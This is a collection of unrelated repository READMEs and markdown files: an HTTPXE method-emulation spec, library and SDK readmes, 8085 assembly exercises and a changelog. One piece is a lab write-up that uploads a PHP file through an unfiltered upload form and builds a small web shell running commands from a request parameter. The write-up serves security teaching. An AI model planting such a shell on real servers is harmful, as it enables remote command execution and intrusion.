POST /path HTTP/1.1
```
The request path may also be used to encode the request method.  A path-encoded `POST` method MUST be represented by a `POST`
method.

The following `POST` request
```
POST /;post/path HTTP/1.1
```
is treated equivalently to
```
POST /path HTTP/1.1
```
by the server when `X-Origin-[origin]` header is present and matches `X-Origin` header - see [Origin Security](#origin-security).

#### HEAD
The following `POST` request
```
POST /path?.km=H HTTP/1.1
```
is treated equivalently to
```
HEAD /path HTTP/1.1
```
by the server.

The request path may also be used to encode the request method.  A path-encoded `HEAD` method MUST be represented by a `POST`
method.

The following `POST` request
```
POST /;head/path HTTP/1.1
```
is treated equivalently to
```
HEAD /path HTTP/1.1
```
by the server when `X-Origin-[origin]` header is present and matches `X-Origin header` - see [Origin Security](#origin-security).

Responses to this method MUST NOT include any content, therefore the emulated `POST` response MUST either return a
`204 No Content` status code where the extension method request would have returned a `200 OK` status code, or a `Content-Length`
header with a value `0`.

#### PUT
The following `POST` request
```
POST /path?.km=P HTTP/1.1
```
is treated equivalently to
```
PUT /path HTTP/1.1
```
by the server.

The request path may also be used to encode the request method.  A path-encoded `PUT` method MUST be represented by a `POST`
method.

The following `POST` request
```
POST /;put/path HTTP/1.1
```
is treated equivalently to
```
PUT /path HTTP/1.1
```
by the server when `X-Origin-[origin]` header is present and matches `X-Origin header` - see [Origin Security](#origin-security).

#### DELETE
The following `POST` request
```
POST /path?.km=D HTTP/1.1
```
is treated equivalently to
```
DELETE /path HTTP/1.1
```
by the server.

The request path may also be used to encode the request method.  A path-encoded `DELETE` method MUST be represented by a `POST`
method.

The following `POST` request
```
POST /;delete/path HTTP/1.1
```
is treated equivalently to
```
DELETE /path HTTP/1.1
```
by the server when `X-Origin-[origin]` header is present and matches `X-Origin` header - see [Origin Security](#origin-security).

#### OPTIONS
The following `POST` request
```
POST /path?.km=O HTTP/1.1
```
is treated equivalently to
```
OPTIONS /path HTTP/1.1
```
by the server.

The request path may also be used to encode the request method.  A path-encoded `OPTIONS` method MUST be represented by a `POST`
method.

The following `POST` request
```
POST /;options/path HTTP/1.1
```
is treated equivalently to
```
OPTIONS /path HTTP/1.1
```
by the server when `X-Origin-[origin]` header is present and matches `X-Origin` header - see [Origin Security](#origin-security).

Responses to this method MUST NOT be cached, therefore the emulated `POST` response MUST NOT include any headers making the response cacheable.

#### TRACE
The following `POST` request
```
POST /path?.km=T HTTP/1.1
```
is treated equivalently to
```
TRACE /path HTTP/1.1
```
by the server.

The request path may also be used to encode the request method.  A path-encoded `TRACE` method MUST be represented by a `POST`
method.

The following `POST` request
```
POST /;trace/path HTTP/1.1
```
is treated equivalently to
```
TRACE /path HTTP/1.1
```
by the server when `X-Origin-[origin]` header is present and matches `X-Origin header` - see [Origin Security](#origin-security).

Responses to this method MUST NOT be cached, therefore the emulated `POST` response MUST NOT include any headers making the response cacheable.

#### CONNECT
The `CONNECT` method is reserved for use with explicit proxies and therefore MUST NOT be supported as an emulated method.

#### Extension Methods
The HTTP specification defines the HTTP method to also support custom extension methods, which are tokens that allow any US ASCII character (0 - 127) except “()<>@,;:\"/[]?={} \t”.  An extension method is specified inside () to disambiguate from other well-known methods defined here.

The following `POST` request
```
POST /path?.km=(CUSTOM) HTTP/1.1
```
is treated equivalently to
```
CUSTOM /path HTTP/1.1
```
by the server.

The request path may also be used to encode the request method.  A path-encoded custom method MUST be represented by a `POST`
method.

The following `POST` request
```
POST /;custom/path HTTP/1.1
```
is treated equivalently to
```
CUSTOM /path HTTP/1.1
```
by the server when `X-Origin-[origin]` header is present and matches `X-Origin` header - see [Origin Security](#origin-security).

If responses to the extension method MUST NOT be cached, then the emulated `POST` response MUST NOT include any headers making
the response cacheable.

If responses to the extension method MUST NOT include any content, then the emulated `POST` response MUST either return a
`204 No Content` status code where the extension method request would have returned a `200 OK` status code, or a `Content-Length`
header with a value `0`.

### Request Headers
The HTTP `X-Next-Protocol` header value for an HTTPXE request SHOULD be `httpxe/1.1`.  If the client HTTP runtime cannot specify
such an HTTP header, then the `.knp` query parameter MUST be present with with value `httpxe/1.1`.

**Note** for backwards compatibility, the next protocol may be inferred when neither `X-Next-Protocol` header nor `.knp` query
parameter are present.  Clients relying on such inference are _not_ considered compliant with this specification.

The HTTP content-type for an HTTPXE request MUST be `application/x-message-http`. This MUST either specified using the
`Content-Type` header, or in the value of the `.kct` query parameter instead.

Some client HTTP runtimes may have limited support for large HTTP headers, such that the aggregate length of all HTTP headers
cannot exceed a maximum number of bytes.

HTTPXE requests are enveloped, thus addressing this problem by supporting HTTPXE headers as part of the HTTP request body.
```
POST /path HTTP/1.1
Content-Type: application/x-message-http
Content-Length: ...

POST /path HTTP/1.1
Authorization: [large-header-value]
Content-Type: text/plain
Content-Length: 6

[body]
```
is treated equivalently to
```
POST /path HTTP/1.1
Authorization: [large-header-value]
Content-Type: text/plain
Content-Length: 6

[body]
```

The HTTP request path is required to match the HTTPXE path exactly. HTTPXE headers defined in the HTTP request body are
combined with the HTTP headers to determine the effective request headers.

HTTPXE headers other than `Authorization`, `Content-Type` and `Content-Length` MUST NOT be combined.

If an HTTP client does not support explicitly setting the `POST` body `Content-Type` header, then the client MUST use the
`.kct` query parameter to let the server know exactly what content-type to expect when processing the request body.
```
POST /path?.kct=application/x-message-http HTTP/1.1
Content-Length: ...

POST /path HTTP/1.1
Authorization: [large-header-value]
Content-Type: text/plain
Content-Length: 6

[body]
```
is treated equivalently to
```
POST /path HTTP/1.1
Content-Type: application/x-message-http
Content-Length: ...

POST /path HTTP/1.1
Authorization: [large-header-value]
Content-Type: text/plain
Content-Length: 6

[body]
```
which is treated equivalently to
```
POST /path HTTP/1.1
Authorization: [large-header-value]
Content-Type: text/plain
Content-Length: 6

[body]
```

## Response Requirements

Responses are generally enveloped as shown below:
```
HTTP/1.1 200 OK
Content-Type: application/x-message-http
Content-Length: ...

HTTP/1.1 201 Created
Content-Type: ...
Content-Length: 33

```
is treated equivalently to
```
HTTP/1.1 201 Created
Content-Type: ...
Content-Length: 33

```

However, some status codes require that the responses are _not_ enveloped -
see [Response Status Codes](response-status-codes) and different content-types may be required in the response to handle
the limitations of some HTTP clients - see [Response Headers](#response-headers).

### Response Status Codes
An HTTP client may not be able to represent status codes other than `200 OK`, `304 Not Modified` or `404 Not Found`, so status
codes may need to wrapped as the first part of the response body content.

#### Informational 1xx
These informational status codes MUST NOT be changed in the response.

#### Successful 2xx
These successful status codes MUST be represented by the `200 OK` status code, with the actual status code wrapped in the
response body content.

If the status code MUST NOT include a message body, such as `204 No Content`, `205 Reset Content`, `206 Partial Content`, then
the wrapped status code and headers MUST NOT include any further body content.

#### Redirection 3xx
These redirection status codes except `304 Not Modified` MAY be represented by the `200 OK` status code, with the actual status
code wrapped in the response body content.  The client SHOULD detect infinite redirection loops, since such loops generate
network traffic for each redirection.

The `304 Not Modified` redirection status code MUST NOT be changed in the response for accurate interaction with the client cache.

#### Client Error 4xx
These client error status codes except `404 Not Modified` MAY be represented by the `200 OK` status code, with the actual status
code wrapped in the response body content.

The `404 Not Modified` client error status code MUST NOT be changed in the response for accurate interaction with the client
cache.

#### Server Error 5xx
These server error status codes MUST NOT be changed in the response.

### Response Headers
The following headers MUST NOT be moved into the response body; `Cache-Control`, `Connection`, `Content-Encoding`, `Date`,
`ETag`, `Last-Modified`, `Pragma`, `Server`, `Set-Cookie`, `Transfer-Encoding`, `X-Content-Type-Options`, `Sec-*`.

_[Note: explicitly indicating whether the response is enveloped via a header would let the client make an informed choice about
how to parse the response rather than having to assume when enveloping has occurred.  Not sure if this is possible on all
platforms, such as Flash.]_

An HTTP client may not be able to receive specific content types, such as `text/xml`.  The response envelope content type
describes both the wrapped status code and headers in ASCII character set, and the original response body if present.

A text-based content type, such as `text/xml;charset=UTF-8`, MUST be canonicalized as `text/plain;charset=UTF-8` for the wrapped
response, while the original content-type MUST be retained in the wrapped headers.
```
HTTP/1.1 200 OK
...
Content-Type: text/plain;charset=UTF-8
Content-Length: 67

HTTP/1.1 201 Created
Content-Type: text/xml;charset=UTF-8
Content-Length: 33

<?xml version=”1.1”?>
<document/>
```
A binary content type, such as `application/octet-stream`, MUST be retained unmodified.
```
HTTP/1.1 200 OK
...
Content-Type: application/octet-stream
Content-Length: 67

HTTP/1.1 201 Created
Content-Type: application/octet-stream
Content-Length: 33

<?xml version=”1.1”?>
<document/>
```

## Origin Security
The source origin sent by the client is trusted to be authoritative by the HTTP server, and is typically the responsibility of
the trusted HTTP client implementation rather than the untrusted application code using the HTTP client.  For example, in browser
systems the `Origin` header is populated by the browser HTTP client implementation and not by the calling JavaScript code.

HTTPXE specifies the source origin using a number of different strategies, each of which is verified to ensure that the
value can be trusted.

### Origin Request Headers
When the `Origin` header is present and `X-Origin` is not present, then the value of the `Origin` header MUST be trusted as the
authoritative value for source origin.
```
POST /path HTTP/1.1
Host: target.example.com:80
Origin: http://source.example.com:80
```
is treated equivalently to
```
POST /path HTTP/1.1
Host: target.example.com:80
Origin: http://source.example.com:80
```
When the `X-Origin` header is present and identical to the `Origin` header, then the value of the `Origin` header MUST be trusted
as the authoritative value for source origin.
```
POST /path HTTP/1.1
Host: target.example.com:80
Origin: http://source.example.com:80
X-Origin: http://source.example.com:80
```
is treated equivalently to
```
POST /path HTTP/1.1
Host: target.example.com:80
Origin: http://source.example.com:80
```
When the `Origin` header is not present, and the `X-Origin` header is present, and the request method is path-encoded, and the
value of the `X-Origin-[ascii-escaped-source-origin-value]` header is identical to the value of the `X-Origin` header, then the
value of the `X-Origin` header MUST be trusted as the authoritative value for source origin.
```
POST /;post/path HTTP/1.1
Host: target.example.com:80
X-Origin: http://source.example.com:80
X-Origin-http%3A%2F%2Fsource.example.com%3A80: http://source.example.com:80
```
is treated equivalently to
```
POST /path HTTP/1.1
Host: target.example.com:80
Origin: http://source.example.com:80
```
When the `X-Origin` header is present and differs from the `Origin` header, and the request is _not_ path-encoded, and the
request is determined to be a same-origin request by comparing value of the `Origin` header with the `Host` header, then the
value of the `X-Origin` header MUST be trusted  as the authoritative value for source origin.
```
POST /path HTTP/1.1
Host: target.example.com:80
Origin: http://target.example.com:80
X-Origin: http://source.example.com:80
```
is treated equivalently to
```
POST /path HTTP/1.1
Host: target.example.com:80
Origin: http://source.example.com:80
```
When the `X-Origin` header is present and the the `Origin` header is not present, and the request is _not_ path-encoded, and the
request is determined to be a same-origin request by comparing value of the `Referer` header with the `Host` header, then the
value of the `X-Origin` header MUST be trusted  as the authoritative value for source origin.
```
POST /path HTTP/1.1
Host: target.example.com:80
Referer: http://target.example.com:80/different/path
X-Origin: http://source.example.com:80
```
is treated equivalently to
```
POST /path HTTP/1.1
Host: target.example.com:80
Origin: http://source.example.com:80
```
If the authoritative source origin cannot be determined, then the server MUST responsd with 4xx status code (either `403 Forbidden` or `400 Bad Request`).

### Origin Query Parameter
If the `.ko` query parameter is present and both the `Origin` and `X-Origin` headers are not present and the `Referer` header
matches the host and port of the `Host` header, then the value of the `.ko` query parameter MUST be trusted as the authoritative
value for source origin.
```
GET /path?.ko=http%3A//source.example.com%3A80 HTTP/1.1
Host: target.example.com:80
Referer: http://target.example.com:80/any/path?query=any
```
is treated equivalently to
```
GET /path HTTP/1.1
Origin: http://source.example.com:80
```
by the server.

### Same-Origin Access Control Headers
If an HTTP client runtime requires the presence of `Access-Control-*` headers in the response, even for same-origin requests,
then the client MUST include a `.kac=ex` query parameter to override the standard behavior and explicitly include the
`Access-Control-*` headers, even if the request is same-origin.

### Target-Origin Resources
Each client platform, such as JavaScript, Flash, Silverlight need additional resources to reach the target origin.  These fall
into one of two categories; bridge code executing in the target origin security sandbox, and out-of-band resources that grant
the client runtime access to the target origin.

The contents of bridge code resources are beyond the scope of this specification, but MAY be of the form
`http://target.example.com/;resource/bridge-name/version`.

_Note: such bridge code resource URLs are not scoped by the path of the request target, so they can be cached for all requests
to the same target origin, but an HTTP-aware intermediary could be scoping access to specific paths, preventing these URLs from
being accessed._

The following URLs describe client runtime authorization resources:

| Client Technology        | Target-Origin URL                                |
|--------------------------|--------------------------------------------------|
| Silverlight              |`http://target.example.com/clientaccesspolicy.xml`|
| Flash, Java, Silverlight |`http://target.example.com/crossdomain.xml`       |

Note: servers MUST reject requests for `crossdomain.xml` authorization resources, because it grants access at a coarse-grained
level, preventing enforcement of the finer-grained policy described by cross-origin semantics.

## References

[[RFC 2119][RFC2119]]  "Key words for use in RFCs to Indicate Requirement Levels"

[[RFC 7230][RFC7230]]  "Hypertext Transfer Protocol"

[[RFC 6454][RFC6454]] “The Web Origin Concept”

[[W3C CORS][W3C CORS]] “Cross Origin Resource Sharing”

[RFC2119]: https://tools.ietf.org/html/rfc2119
[RFC7230]: https://tools.ietf.org/html/rfc7230
[RFC6454]: https://tools.ietf.org/html/rfc6454
[W3C XMLHttpRequest]: https://www.w3.org/TR/XMLHttpRequest/
[W3C CORS]: https://www.w3.org/TR/cors

branch_name: refs/heads/develop

gha_language: Java


text:
carchivum
=========
[![Build Status](https://travis-ci.org/mohae/carchivum.png)](https://travis-ci.org/mohae/carchivum)

## About

Carchivum is a package for working with compressed archives. Archivum is latin for archives. Carchivum is not an application, just a package that other applications can use to add compressed archive support.

These compressed archives can be in either `tar` or `zip` format.

## Supported archival formats
### Default: tar
Tar, tape archive, is the default archive format that carchivum uses. Carchivum does not support all of the compression formats that `tar` does. It may, at some point, support compression formats that tar does not.  Tar archives generated by Carchivum may not be extractable by `tar`; compatibility depends on the algorithm used for compression.  If compatibility with `tar` is desired, make sure the compression format being used is one that `tar` supports.

Carchivum's default compression format for tarballs is gzip.

__In the future, the carchivum archives may be more than a tar, which will make `.car` files incompatible with tar. This will probably be implemented in a manner that continues to support the tar format, but no gurantees. If those does occur, a flag will be added for `tar` compatibility. This flag will not guarantee that `tar` will be able to extract a `.car` file as this will also depend on the compression algorithm used. It will guarantee that the archive is created as a `tar`.__

### zip
The zip format includes compression and its standard extension is `.zip`. No other compression schemes are supported.

## Supported Compression Algorithms
Carchivum supports a number of compression algorithms. More may be implemented in the future. Carchivum does not support all of the compression algorithms that `tar` does. Carchivum does support some compression algorithms that `tar` does not. If compatibility with `tar` is important to you, make sure that the compression algorithm used is supported by `tar`. By default, Carchivum uses `gzip` for compression; this is compatible with `tar`.

* bzip2
* gzip
* lzw
* lz4

Currently there is no support for specifying the compression level, the defaults compression levels are used.

### Options

```
format       string          The archive format to use. (DEFAULT=tar)
type         string          The compression type to use. This is only used
                             when the archive format is tar. (DEFAULT=gzip)
usefullpath  bool            If files should be archives using their fullpath
                             or relative paths. (DEFAULT=false)
```

## Adding `carchivum` to your application

    import github.com/mohae/carchivum

For an example implementation, please see [car](https://github.com/mohae/car), my cross-platform CLI tool for creating `car` files.

## Enable logging
This package uses the standard log package and logs all errors as `log.Print()` or `log.Printf()` prior to returning.

It may be that this package stops logging directly and only returns the error, relying on the caller to do any logging it deems appropriate. This is a design decision I have punted, for now.

## Functionality wishlist

* Add support for exclude filters.
* Add support for include filters.
* Add support for archiving since a date.
* Add support for archiving using relative datetime.

repository: mohae/carchivum

repo_name: mohae/carchivum


text:
The Official Resy Python SDK
============================

# About Resy

[Resy](http://resy.com/) is a mobile restaurant reservations app in beta on [iOS](https://itunes.apple.com/us/app/resy/id866163372?ls=1&mt=8) and [Android](https://play.google.com/store/apps/details?id=com.resy.android).  The app is for people who love eating at great restaurants but hate hassling for reservations.

The developers behind Resy are craftspeople that hold themselves and their peers to an extremely high but attainable standard for work product (code).  They ship constantly but never sacrifice code quality to meet a deadline.

The Resy application runs at AWS using python3, uWSGI, nginx, MySQL and [tinyAPI](https://github.com/mcmontero/tinyAPI).

If you're interested in working with us, please email<EMAIL_ADDRESS>
## Installation

    pip3 install https://github.com/resy/developers/raw/master/python/dist/resy-0.1.tar.gz

## Obtaining an API Key

Email us at<EMAIL_ADDRESS>and we'll create one for you.

## Usage

```python
import resy

# Find some reservations.
resys = \
    resy.API('[API Key]') \
        .reservation_find(
            -73.9772046,
            40.7643304,
            '2014-11-26',  # A date no more than 10 days in the future.
            2
        )

# Get a list of all active venues.
venues = resy.API('[API Key]').venues()

# Get a list of active venues in a specific market.
venues = resy.API('[API Key]').venues('ny')
```

repository: gmilicia/developers

repo_name: gmilicia/developers


text:
# vl6180x-rs
Rust crate for VL6180X Proximity and ambient light sensing (ALS) module

This is currently a minimum viable implementation to get proximity measurements. The example code is based on a STM32G070 microcontroller. The example can be run using

```bash
cargo run --example oneshot
```

This will build and flash the example using a black magic probe on MacOS. To use it on other platforms or with other jtag probes you should change `bmp.sh`.


text:
###User Groups

A facility to define Groups of Users. In this you can create groupings of your system users and grant read (Read) or Write (Write) permissions for the Senayan modules. Each user can be placed in more than one group.

repository: mohnuris/devperpus

gha_language: PHP

repo_name: mohnuris/devperpus


text:
Toolkit for training neural machine translation systems
-------

This is a Tensorflow reimplementation of [Nematus]( https://github.com/rsennrich/nematus ).
I used this toolkit for conducting my own research while I was pursuing a PhD at Edinburgh
University.

This project was implemented with Tensorflow 1.0 - I have not checked whether it works with later
versions.

The neural network model is an attention-based encoder-decoder model for neural machine translation
as described in:

Rico Sennrich, Orhan Firat, Kyunghyun Cho, Alexandra Birch, Barry Haddow, Julian Hitschler, Marcin
Junczys-Dowmunt, Samuel Läubli, Antonio Valerio Miceli Barone, Jozef Mokry and Maria Nadejde (2017):
Nematus: a Toolkit for Neural Machine Translation. In Proceedings of the Software Demonstrations of
the 15th Conference of the European Chapter of the Association for Computational Linguistics,
Valencia, Spain, pp. 65-68.

and

Dzmitry Bahdanau, Kyunghyun Cho, Yoshua Bengio (2015): Neural Machine Translation by Jointly
Learning to Align and Translate, Proceedings of the International Conference on Learning
Representations (ICLR).

repository: jozef-mokry/nmt

repo_name: jozef-mokry/nmt


text:
---
label: 'Progress'
category: 'Data'
---

# Progress

Used to show the progress of the operation and inform the user of the current status and expectations.

## Used alone

{{ __component }}

## Sample code

{{ __examples }}

## API

{{ __api }}

repository: NG-NEST/ng-nest

gha_language: TypeScript

repo_name: NG-NEST/ng-nest


text:
# COA(Computer organization and Architecture)
## GNU8085 MICROPROCESSOR
   N/BThe actual code can be found above you can download and run it

### Finding the smallest number in an array of Data
#### Question A

![image](https://user-images.githubusercontent.com/64952843/126161720-4c2ecc45-edea-4a1e-94ff-f23b593baa14.png)
#### CODE
        ;<Program title>
          jmp start
          ;data
          ;Algorithm
          ;Load the address of the first element  of the array in HL pair
          ;Move the count to B_reg
          ;Increment the pointer
          ;Get the first data in A_reg
          ;Decrement the counter
          ;Increment the pointer
          ;Compare the content of the memory  address by HL pair with that of A_reg
          ;If carry = 1, go to step 10, if carry =0 go to step 9
          ;Move the content of Memory address by HL to A_reg
          ;Decrement the count
          ;Check for zero of the count.if ZF=0 go to step 6 or if ZF=1 go to the next step
          ;Store the smallest data in memory
          ;Terminate the program

          ;code
          start: nop
          LXI H,2400 ; PC has 8 now here when you execute
          MOV B,M ;PC has 9 now here
          INX H ;PC has 10 now here
          MOV A,M ;PC has 11 now here
          DCR B ;There is an S flag of 1 and p flag of 1
          LOOP: INX H
          CMP M
          JC AHEAD
          MOV A,M
          AHEAD: DCR B
          JNZ LOOP
          STA 2407
          HLT
#### Screenshot of GNU8085
![image](https://user-images.githubusercontent.com/64952843/126166080-4e6ccbd8-e108-4da1-8181-30b8caa134a0.png)

#### Observation
       After following the algorithm, we find out that when we initialize an array of any size then we store the result of the smallest number in any memory address the algorithm is able to store the smallest number of the element

### Arranging the array in ascending order
#### Question B
![image](https://user-images.githubusercontent.com/64952843/126162319-6783af6f-8222-4ab7-a682-0ad631f27b87.png)

#### CODE

         ;<Program title>
          jmp start
          ;data
          ;Algorithm
          ;Initialize HL pair as memory pointer
          ;Get the count at 4200 into C - register
          ;Copy it in D - register (for bubble sort (N-1) times required)
          ;Get the first value in A - register
          ;Compare it with the value at next location
          ;If they are out of order, exchange the contents of A - register and Memory
          ;Decrement D - register content by 1
          ;Repeat steps 5 and 7 till the value in D - register become zero
          ;Decrement C - register content by 1
          ;Repeat steps 3 to 9 till the value in C - register becomes zero

          ;code
          start: nop
          LXI H,4200
          MOV C,M
          DCR C
          REPEAT: MOV D,C
          LXI H,4201
          LOOP: MOV A,M
          INX H
          CMP M
          JNC SKIP
          MOV B,M
          MOV M,A
          DCX H
          MOV M,B
          INX H
          SKIP: DCR D
          JNZ LOOP
          DCR C
          JNZ REPEAT
          HLT

#### Screenshot GNU8085

![image](https://user-images.githubusercontent.com/64952843/126166241-b516feb4-c3c1-4dfe-8780-4b5275d936ba.png)

#### Observation
        After following the algorithm given, I found out that when initializing an array of any size and putting specific element in the array when executing the array will be arranged from the largest to the smallest

repository: leshack/COA

repo_name: leshack/COA


text:
# Baby's first PHP shell
I previously had been auditing a course here at Portland State for web application security -- the faculty provides all the course material for free online, so anyone can take a look at it. The aim of the course is to get students familiar with basic security principles -- things to watch out for when developing hosted applications and how web applications behave in comparison to desktop or server-based programs. A server-side application may have a vulnerability in terms of passing un-validated data for execution, but that has a different threat model in comparison to a public website. Either way, the point is to instill best practices and have this cascade over to other development projects.

For our testing sandbox, we relied on pre-configured images from PentesterLab (link below for the curious)

https://pentesterlab.com/exercises/web_for_pentester/attachments

Pentester Lab is a great resource that provides guides on how to execute various exploits -- SQL injections, XSS attacks, and (what we're talking about today) PHP shells, to name a few.

I have some experience with web site exploitation but have never really executed a PHP shell attack -- I really had only heard the words "PHP Shell" and knew nothing past that point. I set up the ISO in Virtual Box locally and fired it up to get started.

Clicking on the File Upload 1 exercise, if we successfully upload a file we receive this response:

![Upload](https://raw.githubusercontent.com/mattkduran/mattkduran.github.io/master/_thumbnails/2020-03-14/1UploadProcess.png)

Clicking on the link in the response takes us directly to the image as well as shows where that image is on the server. From this URL, we can tell exactly where the file is on the server as well.

![Raccoon](https://raw.githubusercontent.com/mattkduran/mattkduran.github.io/master/_thumbnails/2020-03-14/2UploadResult.png)

Most websites nowadays screen for the filetype that's being uploaded to prevent remote code execution as a precaution. Instead of a jpeg, I'm going to upload a PHP file, which, if executed, will show the version of PHP running on the server. You can create this file by typing the following into a file and saving it off as a .php file -- the name does not matter.

`<?php phpinfo();?>`

That's all! The ?php portion initializes PHP by saying, "I am going to run a PHP function." The phpinfo(); is the actual function call which shows PHP's configuration on this server.

![PHP Info](https://raw.githubusercontent.com/mattkduran/mattkduran.github.io/master/_thumbnails/2020-03-14/3phpInfo.png)

Success! So what other commands can we send to this server through the file upload feature? PHP has a couple of functions that we can use to accomplish this if we combine them together.

The PHP exec command will accept a system command as an argument and can store the result as a variable. The echo command works the same as on the command line -- it'll show whatever is passed to it to the screen. You can read more about both these commands here in the PHP manual:

https://www.php.net/manual/en/function.exec.php
https://www.php.net/manual/en/function.echo.php

So what if we modify that phpinfo file to list what directory we are in by executing the pwd linux command?

    <?php echo exec("pwd")?>

![PWD](https://raw.githubusercontent.com/mattkduran/mattkduran.github.io/master/_thumbnails/2020-03-14/4pwd.png)

I am a bit lazy, though, and don't want to have to upload a file every single time that I want to execute a command, so let's make an html form that passes a command to be executed by the php. I'll split this out into two files -- page.html will have all form materials and cmd.php will execute the command.

## page.html
    <html>
    <body>
    <form method="POST" action="cmd.php">
        <input type="text" id="command" name="command" >
            <input type="submit" name="submit">
    </form>
    </body>
    </html>

## cmd.php

    <html>
    <body>
    <?php
    $var = $_GET['command'];
    echo exec($var);
    ?>
    </body>
    </html>

Now, when I type a command into here and submit...
![Execute](https://raw.githubusercontent.com/mattkduran/mattkduran.github.io/master/_thumbnails/2020-03-14/5query.png)

I get a new page with the results!
![Result](https://raw.githubusercontent.com/mattkduran/mattkduran.github.io/master/_thumbnails/2020-03-14/6catResult.png)


text:
# Sign-In---Up
`Dynamic Signup & Signin Page with the help of html, css, javascript.`

![Desktop View](https://github.com/Shiv-sharma-111/Sign-In---Up/blob/master/image.png)

*Developed By-* [`Shiv Sharma`](https://Shiv-sharma-111.github.io)

repository: axshivam/Login-Signup-Template

repo_name: axshivam/Login-Signup-Template


text:
# Colorize
Inspired from a [post on stackexchange](https://codegolf.stackexchange.com/a/22326) I created my own c++ implementation.

# Dev progress pictures
Pictures from the development progress can be found on [imgur album](https://imgur.com/a/i4BBQm7).

# How the algorithm colors an image

We start by generating all possible RGB colors for the current resolution. For example for a resolution of 256x128
we have use all 15bit colors (15-bit colors are the 32768 colors that can be made by mixing 32 reds, 32 greens, and 32 blues)
and randomize the order of colors.
Next we put the first color in the center of the image (or any location we choose) and get all the neighbors of this pixel
we just placed. Of this neighbors we choose the best location (where euclidean distance is minimal) for the next color we are
about to place. As we iterate over the generated colors the number of available locations increases by the number of uncolored
neighbors of the location we picked for the current color. Once there are no more colors or available locations we are done.

# Video
I made a 1920x1080 render by capturing snapshots every (Nr. of Frames / 660) percent colored for roughly ~10s 60 fps
of 1080p footage and uploaded it to [youtube.com](http://www.youtube.com/watch?v=tHLiE3ykvAU).

[![1920x1080 video](http://img.youtube.com/vi/tHLiE3ykvAU/0.jpg)](http://www.youtube.com/watch?v=tHLiE3ykvAU)

repository: mpunkenhofer/colorize

repo_name: mpunkenhofer/colorize


text:
### Version 4.18.0 (4th July 2019)
#### Added
- Added `trackAdRevenue` method to `Adjust` interface to allow tracking of ad revenue. With this release added support for `MoPub` ad revenue tracking.
- Added reading of Facebook anonymous ID if available on iOS platform.

#### Native SDKs
-<EMAIL_ADDRESS>-<EMAIL_ADDRESS>
---

### Version 4.17.1 (5th June 2019)
#### Fixed
- Fixed issue when trying to register Android plugin more than once (https://github.com/adjust/flutter_sdk/issues/7).

#### Native SDKs
-<EMAIL_ADDRESS>-<EMAIL_ADDRESS>
---

### Version 4.17.0 (4th December 2018)
#### Added
- Official Flutter SDK release.

#### Native SDKs
-<EMAIL_ADDRESS>-<EMAIL_ADDRESS>
---

### Version 0.0.4 (4th December 2018)
#### Changed
- Changed SDK API to be more Dart friendly.

#### Native SDKs
-<EMAIL_ADDRESS>-<EMAIL_ADDRESS>
---

### Version 0.0.3 (4th December 2018)
#### Changed
- Changed SDK dependency in example app from local path to Flutter plugin repository.

#### Native SDKs
-<EMAIL_ADDRESS>-<EMAIL_ADDRESS>
---

### Version 0.0.2 (4th December 2018)
#### Added
- Added example app to repo.
- Added handling of process name for Android platform.

#### Native SDKs
-<EMAIL_ADDRESS>-<EMAIL_ADDRESS>
---

### Version 0.0.1 (4th December 2018)
#### Added
- Test release of Flutter SDK.
- Package available at: https://pub.dartlang.org/packages/adjust_sdk

#### Native SDKs
-<EMAIL_ADDRESS>-<EMAIL_ADDRESS>
[ios_sdk_v4.17.0]: https://github.com/adjust/ios_sdk/tree/v4.17.0
[ios_sdk_v4.17.3]: https://github.com/adjust/ios_sdk/tree/v4.17.3
[ios_sdk_v4.18.0]: https://github.com/adjust/ios_sdk/tree/v4.18.0

[android_sdk_v4.17.0]: https://github.com/adjust/android_sdk/tree/v4.17.0
[android_sdk_v4.18.0]: https://github.com/adjust/android_sdk/tree/v4.18.0


text:
Pull request guidelines
-----------------------

- Changes should have corresponding unit and/or integration tests.
- Affected public classes and functions should have accurate documentation.
- Source code formatting should be hygienic:
  - Use 2-space indentation.
  - Do not use hard tabs.
  - No trailing or inconsistent whitespace.
  - No exceptionally long lines.
  - Variable names should be clear but concise.
- Commit history should be relatively hygienic:
  - Roughly one commit per logical change.
  - Log messages are clear and understandable.
  - Few (or no) "merge" commits.
  - Hint: `git rebase -i` is great for cleaning up a branch.

Pull requests for branches that are still in development should be prefixed with WIP:
so that they don't get accidently merged. Remove WIP: once the pull request is
considered finalized and ready to be reviewed and merged.

License
-------

By contributing code to Green Button Data, you are agreeing to release it under the
[Simplified BSD License](https://raw.githubusercontent.com/VerdigrisTech/green-button-data/master/LICENSE.txt).

repository: VerdigrisTech/green-button-data

gha_language: Ruby

repo_name: VerdigrisTech/green-button-data


text:
# On the way to create an open source library for noise filtering on a quantum processor

This is the report for the current status of the noise filtering library, a project funded by [unitary.fund](https://unitary.fund/) grant program run by [Will Zeng](http://willzeng.com/).
In this project, we implement two techniques: **Dynamical Decoupling** (DD), which deals against qubit decoherence, and **Error Mitigation** (EM), which is an extrapolation method to estimate a noise free expected value of some dynamical variable of interest (observable in quantum mechanics jargon).

This report contains the implementation of both techniques in `pyquil`, the software development kit by Rigetti Forest. We analise the results and draw some conclusions. The conclusions are mostly satisfactory, except for the case of combining the both methods (DD and EM) together.

In the second part of the project we will include various noise models to our implementations for current real NISQ (noisy-intermediate-scale-quantum) hardware are open quantum mechanical systems.

![open](figures/open_system.svg)

(image taken from Quantum Machine Learning edX course by Toronto University)

The unwanted interaction of the quantum computer with the outside world introduces noise into the computations. Different noise models exist to deal with the problem mathematically, each of which constrained to different simplifying assumptions.

We believe that the inclusion of various models will increase the filtering performance of our (soon-to-be-ready) tool, particularly, the combination of DD and EM. We will run our codes on real rigetti's and IBM's hardware (for the latter, we will rewrite the code in `qiskit`).

In the EM_and_DD.ipynb file there are given the theoretical bases of both techniques and presented some illustrations of their performance.

## License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.


text:
# **Employee Tracker **
  ![MIT](https://img.shields.io/badge/License-MIT-blue.svg)

  ## View Program ##

  ![Screenshot of the application being run](./images/screenshot.png)

  * [Video Walk-through](https://www.youtube.com/watch?v=tgz2HEos6r8)

  ## Description ##

  Database controlled employee tracker giving you basic information, salary, role, title, and department of your employees.

  ## Table Of Contents ##

  - [Description](#Description)
  - [Installation](#Installation)
  - [Usage](#Usage)
  - [Contributors](#Contributors)
  - [License](#License)
  - [Tests](#Tests)
  - [Repository](#Repository)
  - [Questions](#Questions)

  ## Installation ##

  1. Extract file.
  1. Run npm install
  1. Run npm start

  ## Usage ##

  1. Choose from one of the listed categories
  1. Follow steps for chosen category
  1. Submit all information you are prompted
  1. When finished choose exit to leave application

  ## Contributors ##
